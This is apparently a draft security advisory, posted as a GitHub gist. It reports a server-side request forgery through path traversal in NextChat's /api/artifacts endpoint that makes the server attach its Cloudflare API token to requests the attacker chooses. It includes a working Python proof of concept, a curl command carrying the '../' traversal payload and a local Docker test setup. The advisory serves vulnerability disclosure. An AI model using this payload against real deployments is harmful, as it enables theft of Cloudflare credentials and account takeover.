Instantly share code, notes, and snippets.

YLChen-007 / **ISSUE-Github-REPORT-SSRF-Artifacts.md** Secret

Last active 3 weeks ago

Code Revisions 2

Server-Side Request Forgery (SSRF) and Cloudflare API Token Leakage via Path Traversal in Artifacts Endpoint

ISSUE-Github-REPORT-SSRF-Artifacts.md

Advisory Details

Title: Server-Side Request Forgery (SSRF) and Cloudflare API Token Leakage via Path Traversal in Artifacts Endpoint

Description:

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in the NextChat Next.js `app/api/artifacts/route.ts` API endpoint. The application improperly passes the unvalidated user-controlled `id` query parameter directly into a backend fetch request targeting the Cloudflare KV API. By using directory traversal payloads (`../`), an attacker can escape the restricted KV namespace directory and invoke arbitrary Cloudflare API endpoints. During this unauthorized invocation, the application automatically attaches the server's highly privileged `CLOUDFLARE_KV_API_KEY` token, allowing the attacker to interact with the victim's Cloudflare infrastructure and steal sensitive information.

Details

The `GET /api/artifacts` route acts as a proxy to retrieve artifacts from a Cloudflare KV store. However, it takes an `id` query parameter and blindly concatenates it into a URL to retrieve data:

```
if (req.method === "GET") {
    const id = req?.nextUrl?.searchParams?.get("id");
    const res = await fetch(`${storeUrl()}/values/${id}`, {
        headers: storeHeaders(),
```

```
        method: "GET",
    });
    return new Response(res.body, {
        status: res.status,
        statusText: res.statusText,
        headers: res.headers,
    });
}
```

The underlying `fetch` API inherently performs URL path normalization, which processes any directory traversal sequences (i.e., `../`). Since the target URL ends in `/namespaces/{namespaceId}/values/`, providing a payload with exactly 7 traversal segments (e.g., `../../../../../../../user/tokens/verify`) causes `fetch` to step completely outside the KV namespace scope and resolve the URL to the Cloudflare API root.

Compounding the problem, the `storeHeaders()` function injects a high-privileged authorization token (`Authorization: Bearer cloudflareKVApiKey`). As a result, the server forcibly authenticates the traversed request, sending the result of the arbitrary Cloudflare API endpoint straight back to the attacker in the HTTP response.

PoC

Prerequisites

- The target instance must be configured with Cloudflare KV (`CLOUDFLARE_ACCOUNT_ID`, `CLOUDFLARE_KV_NAMESPACE_ID`, and `CLOUDFLARE_KV_API_KEY`).
- The API instance must be accessible to the attacker.

Reproduction Steps

1. Save the following code as `docker-compose.yml`:

```
version: '3.9'
services:
  nextchat:
    image: yidadaa/chatgpt-next-web:latest
    container_name: nextchat-artifact-ssrf
    ports:
      - "3000:3000"
    environment:
      - BASE_URL=http://localhost:3000
      - CLOUDFLARE_KV_API_KEY=SECRET_TEST_TOKEN
```

```
      - CLOUDFLARE_KV_NAMESPACE_ID=TEST_NAMESPACE
      - CLOUDFLARE_ACCOUNT_ID=TEST_ACCOUNT
```

2. Start the test environment:

```
docker compose up -d
```

3. Save the following Python script as `poc.py`:

```
import requests

def test_artifact_ssrf():
    # Payload path traversal to escape `/client/v4/accounts/{accountId}/stora
    target = "http://localhost:3000/api/artifacts"
    params = {
        "id": "../../../../../../../user/tokens/verify"
    }

    try:
        response = requests.get(target, params=params, timeout=10)
        print("[*] Artifacts SSRF Response Status:", response.status_code)
        print("[*] Response body:")
        print(response.text)

        if response.status_code in [200, 400, 401, 403]:
            print("\n[SUCCESS] Exploit hit Cloudflare traversal target!")
        else:
            print("\n[FAILED] Vulnerability might be patched or endpoint not

    except Exception as e:
        print("\n[FAILED] Error during fetching:", str(e))

if __name__ == "__main__":
    test_artifact_ssrf()
```

4. Run the exploit:

```
python3 poc.py
```

Alternatively, use curl directly:

```
curl -i -s -k "http://localhost:3000/api/artifacts?id=../../../../../../../us
```

Log of Evidence

```
[*] Artifacts SSRF Response Status: 400
[*] Response body:
{"success":false,"errors":[{"code":6003,"message":"Invalid request
headers","error_chain":[{"code":6111,"message":"Invalid format for
Authorization header"}]}],"messages":[],"result":null}

[SUCCESS] Exploit hit Cloudflare traversal target!
```

Impact

Critical SSRF & Identity Takeover. The attacker can directly call privileged Cloudflare API endpoints using the `CLOUDFLARE_KV_API_KEY` configured by the NextChat administrator. Depending on the token's scope, this could allow full account takeover of the victim's Cloudflare infrastructure, manipulation of DNS settings, reading of other namespaces, or bypassing of proxy protections.

Affected products

- **Ecosystem**: npm
- **Package name**: nextchat (Yidadaa/ChatGPT-Next-Web)
- **Affected versions**: <= v2.16.1
- **Patched versions**:

Severity

- **Severity**: Critical
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Weaknesses

- **CWE-918**: Server-Side Request Forgery (SSRF)
- **CWE-22**: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Occurrences

Permalink	Description
https://github.com/Yidadaa/ChatGPT-Next-Web/blob/main/app/api/artifacts/route.ts	The endpoint directly interpolates the `id` query parameter into a `fetch()` URL without neutralizing path traversal sequences like `../`, while simultaneously attaching a highly privileged `storeHeaders()` Bearer token.